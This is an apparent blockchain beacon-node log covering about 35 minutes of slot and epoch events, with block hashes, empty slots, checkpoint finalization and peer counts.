11:40:36.735 INFO - Slot Event *** Slot: 222202, Block: ... empty, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 36
11:40:48.785 INFO - Slot Event *** Slot: 222203, Block: 5718a0..4459, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 36
11:41:00.736 INFO - Slot Event *** Slot: 222204, Block: ... empty, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 36
11:41:12.766 INFO - Slot Event *** Slot: 222205, Block: ea4492..8ff1, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 35
11:41:24.743 INFO - Slot Event *** Slot: 222206, Block: d647ac..c53a, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 36
11:41:36.745 INFO - Slot Event *** Slot: 222207, Block: 1a3b3f..1747, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 33
11:41:44.491 INFO - Epoch Event *** Epoch: 6944, Justified checkpoint: 6942, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7
11:41:50.954 INFO - Slot Event *** Slot: 222208, Block: 07bf19..fa36, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 37
11:42:00.737 INFO - Slot Event *** Slot: 222209, Block: ... empty, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 37
11:42:12.739 INFO - Slot Event *** Slot: 222210, Block: c9e0c3..989e, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 40
11:42:24.755 INFO - Slot Event *** Slot: 222211, Block: 648839..e300, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 38
11:42:36.732 INFO - Slot Event *** Slot: 222212, Block: 042c65..9a57, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 37
11:42:48.734 INFO - Slot Event *** Slot: 222213, Block: 7c8e17..c159, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 34
11:43:00.746 INFO - Slot Event *** Slot: 222214, Block: 806cd0..c0fc, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 34
11:43:12.732 INFO - Slot Event *** Slot: 222215, Block: ... empty, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 33
11:43:24.739 INFO - Slot Event *** Slot: 222216, Block: ... empty, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 33
11:43:36.740 INFO - Slot Event *** Slot: 222217, Block: 1d0457..47eb, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 33
11:43:48.740 INFO - Slot Event *** Slot: 222218, Block: 87c9b2..e9e0, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 33
11:44:00.765 INFO - Slot Event *** Slot: 222219, Block: 42b5bc..9652, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 33
11:44:12.741 INFO - Slot Event *** Slot: 222220, Block: d3831c..3561, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 34
11:44:24.751 INFO - Slot Event *** Slot: 222221, Block: 7b7120..43a0, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 33
11:44:36.749 INFO - Slot Event *** Slot: 222222, Block: 314a6f..b48e, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 32
11:44:48.754 INFO - Slot Event *** Slot: 222223, Block: ac1fd9..766c, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 31
11:45:00.739 INFO - Slot Event *** Slot: 222224, Block: ... empty, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 31
11:45:12.733 INFO - Slot Event *** Slot: 222225, Block: 13d9d8..b4f0, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 34
11:45:24.742 INFO - Slot Event *** Slot: 222226, Block: de6436..8c6e, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 31
11:45:36.725 INFO - Slot Event *** Slot: 222227, Block: 157cc0..2322, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 30
11:45:48.743 INFO - Slot Event *** Slot: 222228, Block: 9605d6..aee4, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 31
11:46:00.742 INFO - Slot Event *** Slot: 222229, Block: fbb0ee..fb75, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 30
11:46:12.743 INFO - Slot Event *** Slot: 222230, Block: 04b303..0105, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 35
11:46:24.758 INFO - Slot Event *** Slot: 222231, Block: c122bb..c381, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 33
11:46:36.751 INFO - Slot Event *** Slot: 222232, Block: 73a636..b8cf, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 38
11:46:48.758 INFO - Slot Event *** Slot: 222233, Block: d2a5b1..b221, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 38
11:47:00.751 INFO - Slot Event *** Slot: 222234, Block: b7285f..b35c, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 36
11:47:12.739 INFO - Slot Event *** Slot: 222235, Block: c4c994..516e, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 37
11:47:24.745 INFO - Slot Event *** Slot: 222236, Block: bb8be2..34ed, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 37
11:47:36.708 INFO - Slot Event *** Slot: 222237, Block: d85877..1092, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 35
11:47:48.741 INFO - Slot Event *** Slot: 222238, Block: ... empty, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 42
11:48:00.746 INFO - Slot Event *** Slot: 222239, Block: 9d72d9..6d43, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 41
11:48:08.492 INFO - Epoch Event *** Epoch: 6945, Justified checkpoint: 6943, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9
11:48:12.462 INFO - Slot Event *** Slot: 222240, Block: 24baf0..5c52, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 43
11:48:24.741 INFO - Slot Event *** Slot: 222241, Block: 29ad0b..8437, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 40
11:48:36.731 INFO - Slot Event *** Slot: 222242, Block: 405fd0..781f, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 37
11:48:48.790 INFO - Slot Event *** Slot: 222243, Block: 0cf2a1..6bbc, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 34
11:49:00.739 INFO - Slot Event *** Slot: 222244, Block: 285d08..c9b2, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 34
11:49:12.777 INFO - Slot Event *** Slot: 222245, Block: 6941ca..3912, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 33
11:49:24.807 INFO - Slot Event *** Slot: 222246, Block: ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 32
11:49:36.738 INFO - Slot Event *** Slot: 222247, Block: 8eb7e5..2de2, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 33
11:49:48.751 INFO - Slot Event *** Slot: 222248, Block: cbe7b2..50a5, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 33
11:50:00.750 INFO - Slot Event *** Slot: 222249, Block: 0738f2..d800, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 33
11:50:12.708 INFO - Slot Event *** Slot: 222250, Block: e3fb92..f7e2, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 35
11:50:24.722 INFO - Slot Event *** Slot: 222251, Block: ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 33
11:50:36.735 INFO - Slot Event *** Slot: 222252, Block: 7b5da4..da95, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 35
11:50:48.761 INFO - Slot Event *** Slot: 222253, Block: 096b56..24c7, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 36
11:51:00.750 INFO - Slot Event *** Slot: 222254, Block: ad0577..2665, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 34
11:51:12.748 INFO - Slot Event *** Slot: 222255, Block: 8ac3fb..331b, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 35
11:51:24.760 INFO - Slot Event *** Slot: 222256, Block: 7ef827..da36, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 34
11:51:36.748 INFO - Slot Event *** Slot: 222257, Block: c37f7f..cd47, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 38
11:51:48.783 INFO - Slot Event *** Slot: 222258, Block: ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 37
11:52:00.751 INFO - Slot Event *** Slot: 222259, Block: 1f6531..0068, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 35
11:52:12.809 INFO - Slot Event *** Slot: 222260, Block: 601dcf..cd02, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 36
11:52:24.765 INFO - Slot Event *** Slot: 222261, Block: ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 35
11:52:36.754 INFO - Slot Event *** Slot: 222262, Block: 7c2ab4..d6d3, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 36
11:52:48.740 INFO - Slot Event *** Slot: 222263, Block: ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 36
11:53:00.760 INFO - Slot Event *** Slot: 222264, Block: 0b2981..d853, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 35
11:53:12.746 INFO - Slot Event *** Slot: 222265, Block: e69b0d..5788, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 37
11:53:24.922 INFO - Slot Event *** Slot: 222266, Block: c1b90d..acd7, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 36
11:53:36.764 INFO - Slot Event *** Slot: 222267, Block: ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 35
11:53:48.735 INFO - Slot Event *** Slot: 222268, Block: caf236..3130, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 37
11:54:00.752 INFO - Slot Event *** Slot: 222269, Block: ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 34
11:54:12.755 INFO - Slot Event *** Slot: 222270, Block: ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 33
11:54:24.763 INFO - Slot Event *** Slot: 222271, Block: c27a80..de1c, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 33
11:54:32.493 INFO - Epoch Event *** Epoch: 6946, Justified checkpoint: 6944, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce
11:54:38.107 INFO - Slot Event *** Slot: 222272, Block: caadae..b936, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 33
11:54:48.778 INFO - Slot Event *** Slot: 222273, Block: 1e380d..5fed, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 35
11:55:00.750 INFO - Slot Event *** Slot: 222274, Block: 67ce1b..7d43, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 34
11:55:12.746 INFO - Slot Event *** Slot: 222275, Block: 8728c5..2311, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 35
11:55:24.871 INFO - Slot Event *** Slot: 222276, Block: 706a4c..4f52, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 34
11:55:36.731 INFO - Slot Event *** Slot: 222277, Block: 247dfc..3305, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 38
11:55:48.753 INFO - Slot Event *** Slot: 222278, Block: 2b1b87..a9ec, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 35
11:56:00.765 INFO - Slot Event *** Slot: 222279, Block: 5d30d0..a4d2, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 33
11:56:12.777 INFO - Slot Event *** Slot: 222280, Block: 02b42c..47a2, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 36
11:56:24.766 INFO - Slot Event *** Slot: 222281, Block: ... empty, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 35
11:56:36.785 INFO - Slot Event *** Slot: 222282, Block: 1aa8b0..8104, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 37
11:56:48.757 INFO - Slot Event *** Slot: 222283, Block: ... empty, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 37
11:57:00.829 INFO - Slot Event *** Slot: 222284, Block: 3110ec..4065, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 36
11:57:12.752 INFO - Slot Event *** Slot: 222285, Block: 12d52a..f9dc, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 34
11:57:24.763 INFO - Slot Event *** Slot: 222286, Block: 27cb34..645e, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 36
11:57:36.738 INFO - Slot Event *** Slot: 222287, Block: c8b409..711e, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 36
11:57:48.742 INFO - Slot Event *** Slot: 222288, Block: 9224a6..51a5, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 32
11:58:00.735 INFO - Slot Event *** Slot: 222289, Block: 4b3cb8..92a1, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 31
11:58:12.761 INFO - Slot Event *** Slot: 222290, Block: 62d2e1..33b7, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 32
11:58:24.742 INFO - Slot Event *** Slot: 222291, Block: dc6433..7b23, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 31
11:58:36.747 INFO - Slot Event *** Slot: 222292, Block: fe75c5..2241, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 36
11:58:48.754 INFO - Slot Event *** Slot: 222293, Block: 63d184..289d, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 34
11:59:00.753 INFO - Slot Event *** Slot: 222294, Block: 5b9650..878a, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 33
11:59:12.746 INFO - Slot Event *** Slot: 222295, Block: e4554a..522e, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 33
11:59:24.779 INFO - Slot Event *** Slot: 222296, Block: ... empty, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 37
11:59:36.752 INFO - Slot Event *** Slot: 222297, Block: ... empty, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 38
11:59:48.789 INFO - Slot Event *** Slot: 222298, Block: 5c6e6d..936c, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 38
12:00:00.739 INFO - Slot Event *** Slot: 222299, Block: 9c4781..f792, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 37
12:00:12.748 INFO - Slot Event *** Slot: 222300, Block: ef7596..87d5, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 39
12:00:24.765 INFO - Slot Event *** Slot: 222301, Block: 973a55..4f02, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 38
12:00:36.733 INFO - Slot Event *** Slot: 222302, Block: 4ec078..c9ec, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 39
12:00:48.727 INFO - Slot Event *** Slot: 222303, Block: 510b4b..164a, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 40
12:00:56.493 INFO - Epoch Event *** Epoch: 6947, Justified checkpoint: 6945, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36
12:01:02.233 INFO - Slot Event *** Slot: 222304, Block: d1ab42..924c, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 39
12:01:12.742 INFO - Slot Event *** Slot: 222305, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 42
12:01:24.760 INFO - Slot Event *** Slot: 222306, Block: af6eec..f48d, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 39
12:01:36.732 INFO - Slot Event *** Slot: 222307, Block: 01f0cc..21f7, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 39
12:01:48.744 INFO - Slot Event *** Slot: 222308, Block: 6f0699..6c3c, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 40
12:02:00.779 INFO - Slot Event *** Slot: 222309, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 40
12:02:12.812 INFO - Slot Event *** Slot: 222310, Block: bc8dde..4e88, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 41
12:02:24.745 INFO - Slot Event *** Slot: 222311, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 40
12:02:36.749 INFO - Slot Event *** Slot: 222312, Block: 378fb5..bc43, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 43
12:02:48.743 INFO - Slot Event *** Slot: 222313, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 43
12:03:00.756 INFO - Slot Event *** Slot: 222314, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 39
12:03:12.735 INFO - Slot Event *** Slot: 222315, Block: 174716..f843, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 40
12:03:25.029 INFO - Slot Event *** Slot: 222316, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 40
12:03:36.733 INFO - Slot Event *** Slot: 222317, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 40
12:03:48.913 INFO - Slot Event *** Slot: 222318, Block: c3688a..9cbb, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 38
12:04:00.756 INFO - Slot Event *** Slot: 222319, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 36
12:04:12.747 INFO - Slot Event *** Slot: 222320, Block: 1dc2ea..7605, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 38
12:04:24.736 INFO - Slot Event *** Slot: 222321, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 37
12:04:36.881 INFO - Slot Event *** Slot: 222322, Block: 26b3f2..b401, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 38
12:04:48.787 INFO - Slot Event *** Slot: 222323, Block: c276ef..505c, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 35
12:05:00.772 INFO - Slot Event *** Slot: 222324, Block: 94d021..b367, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 35
12:05:12.757 INFO - Slot Event *** Slot: 222325, Block: 469168..91a2, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 38
12:05:24.745 INFO - Slot Event *** Slot: 222326, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 38
12:05:36.822 INFO - Slot Event *** Slot: 222327, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 39
12:05:48.731 INFO - Slot Event *** Slot: 222328, Block: 0180e1..b54c, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 38
12:06:00.746 INFO - Slot Event *** Slot: 222329, Block: 9a831e..9f86, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 37
12:06:12.756 INFO - Slot Event *** Slot: 222330, Block: 5b3938..a653, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 42
12:06:26.614 INFO - Slot Event *** Slot: 222331, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 43
12:06:37.483 INFO - Slot Event *** Slot: 222332, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 41
12:06:49.485 INFO - Slot Event *** Slot: 222333, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 40
12:07:00.961 INFO - Slot Event *** Slot: 222334, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 38
12:07:13.443 INFO - Slot Event *** Slot: 222335, Block: ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 37
12:07:20.517 INFO - Epoch Event *** Epoch: 6948, Justified checkpoint: 6946, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52
12:07:25.783 INFO - Slot Event *** Slot: 222336, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 37
12:07:37.469 INFO - Slot Event *** Slot: 222337, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 35
12:08:04.439 INFO - Slot Event *** Slot: 222338, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:08:05.621 INFO - Slot Event *** Slot: 222338, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:08:07.392 INFO - Slot Event *** Slot: 222339, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:08:13.521 INFO - Slot Event *** Slot: 222340, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:08:25.370 INFO - Slot Event *** Slot: 222341, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:08:36.979 INFO - Slot Event *** Slot: 222342, Block: a5df3d..7abb, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:08:49.563 INFO - Slot Event *** Slot: 222343, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:09:01.588 INFO - Slot Event *** Slot: 222344, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:09:13.453 INFO - Slot Event *** Slot: 222345, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:09:25.071 INFO - Slot Event *** Slot: 222346, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 33
12:09:37.203 INFO - Slot Event *** Slot: 222347, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 33
12:09:49.321 INFO - Slot Event *** Slot: 222348, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 32
12:10:01.054 INFO - Slot Event *** Slot: 222349, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 32
12:10:13.104 INFO - Slot Event *** Slot: 222350, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 31
12:10:25.082 INFO - Slot Event *** Slot: 222351, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 31
12:10:36.785 INFO - Slot Event *** Slot: 222352, Block: 6745e9..ead5, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:10:48.769 INFO - Slot Event *** Slot: 222353, Block: 480aa7..aad7, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:11:00.734 INFO - Slot Event *** Slot: 222354, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:11:12.749 INFO - Slot Event *** Slot: 222355, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:11:24.746 INFO - Slot Event *** Slot: 222356, Block: ee96f7..266c, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:11:36.755 INFO - Slot Event *** Slot: 222357, Block: 1d5d20..dbb5, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 37
12:11:48.789 INFO - Slot Event *** Slot: 222358, Block: d4362b..60f1, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 37
12:12:00.753 INFO - Slot Event *** Slot: 222359, Block: 7d3c91..2272, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:12:12.815 INFO - Slot Event *** Slot: 222360, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 38
12:12:24.773 INFO - Slot Event *** Slot: 222361, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 38
12:12:36.763 INFO - Slot Event *** Slot: 222362, Block: a97013..e64c, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 42
12:12:48.767 INFO - Slot Event *** Slot: 222363, Block: 8a0e5c..a296, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 42
12:13:00.769 INFO - Slot Event *** Slot: 222364, Block: dc95f4..eacf, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 42
12:13:12.794 INFO - Slot Event *** Slot: 222365, Block: 1e9a1f..0111, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 42
12:13:24.817 INFO - Slot Event *** Slot: 222366, Block: ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 43
12:13:37.127 INFO - Slot Event *** Slot: 222367, Block: a55b9c..338f, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 45
12:13:44.496 INFO - Epoch Event *** Epoch: 6949, Justified checkpoint: 6947, Finalized checkpoint: 6946, Finalized root: caadae..b936
12:13:48.880 INFO - Slot Event *** Slot: 222368, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 43
12:14:01.084 INFO - Slot Event *** Slot: 222369, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 41
12:14:13.464 INFO - Slot Event *** Slot: 222370, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 41
12:14:25.161 INFO - Slot Event *** Slot: 222371, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 41
12:14:36.991 INFO - Slot Event *** Slot: 222372, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 39
12:14:49.019 INFO - Slot Event *** Slot: 222373, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 40
12:15:00.986 INFO - Slot Event *** Slot: 222374, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 38
